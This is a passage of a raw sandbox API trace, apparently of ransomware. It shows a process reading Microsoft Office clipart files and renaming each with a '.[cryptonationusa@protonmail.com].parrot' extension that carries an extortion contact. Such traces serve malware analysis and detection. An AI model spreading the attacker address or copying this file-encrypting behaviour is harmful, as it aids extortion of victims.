lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.788] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1652, lpOverlapped=0x0) returned 1 [0147.789] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.789] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x176a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.789] CloseHandle (hObject=0x27c) returned 1 [0147.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.792] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2272, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.792] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.794] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x215a, lpOverlapped=0x0) returned 1 [0147.795] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.795] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2272, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.795] CloseHandle (hObject=0x27c) returned 1 [0147.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.799] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.799] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.801] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.801] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17b6, lpOverlapped=0x0) returned 1 [0147.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.802] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.802] CloseHandle (hObject=0x27c) returned 1 [0147.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.806] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189c, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.806] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.806] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.808] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1784, lpOverlapped=0x0) returned 1 [0147.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.809] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.809] CloseHandle (hObject=0x27c) returned 1 [0147.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.823] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f70, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.823] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.823] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.887] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.887] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e58, lpOverlapped=0x0) returned 1 [0147.891] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.892] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.893] CloseHandle (hObject=0x27c) returned 1 [0147.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.909] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1abc, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.909] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.909] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.911] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.911] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a4, lpOverlapped=0x0) returned 1 [0147.912] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.912] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1abc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.912] CloseHandle (hObject=0x27c) returned 1 [0147.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.917] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dcb, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.917] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.918] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.919] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1cb3, lpOverlapped=0x0) returned 1 [0147.919] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.920] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dcb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.920] CloseHandle (hObject=0x27c) returned 1 [0147.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.924] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b84, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.924] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.924] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.926] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.926] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0147.927] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.927] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.927] CloseHandle (hObject=0x27c) returned 1 [0147.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.931] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1629, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.931] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0147.933] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.933] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1511, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1511, lpOverlapped=0x0) returned 1 [0147.936] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.937] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1629, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0147.937] CloseHandle (hObject=0x27c) returned 1 [0147.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0147.941] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6258, nNumberOfBytesToLockHigh=0x0) returned 1 [0147.941] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0147.941] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.061] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.061] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6140, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6140, lpOverlapped=0x0) returned 1 [0148.062] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.063] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6258, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.063] CloseHandle (hObject=0x27c) returned 1 [0148.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.067] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4232, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.067] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.067] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.070] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x411a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x411a, lpOverlapped=0x0) returned 1 [0148.074] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.075] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4232, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.075] CloseHandle (hObject=0x27c) returned 1 [0148.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.080] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e74, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.080] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.081] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.083] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.083] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d5c, lpOverlapped=0x0) returned 1 [0148.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.084] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.084] CloseHandle (hObject=0x27c) returned 1 [0148.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.088] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4158, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.088] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.088] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.090] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4040, lpOverlapped=0x0) returned 1 [0148.091] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.091] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4158, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.091] CloseHandle (hObject=0x27c) returned 1 [0148.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.095] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e30, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.095] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.095] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.097] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d18, lpOverlapped=0x0) returned 1 [0148.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.098] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e30, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0148.098] CloseHandle (hObject=0x27c) returned 1 [0148.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0148.101] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4904, nNumberOfBytesToLockHigh=0x0) returned 1 [0148.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.101] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0148.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.103] 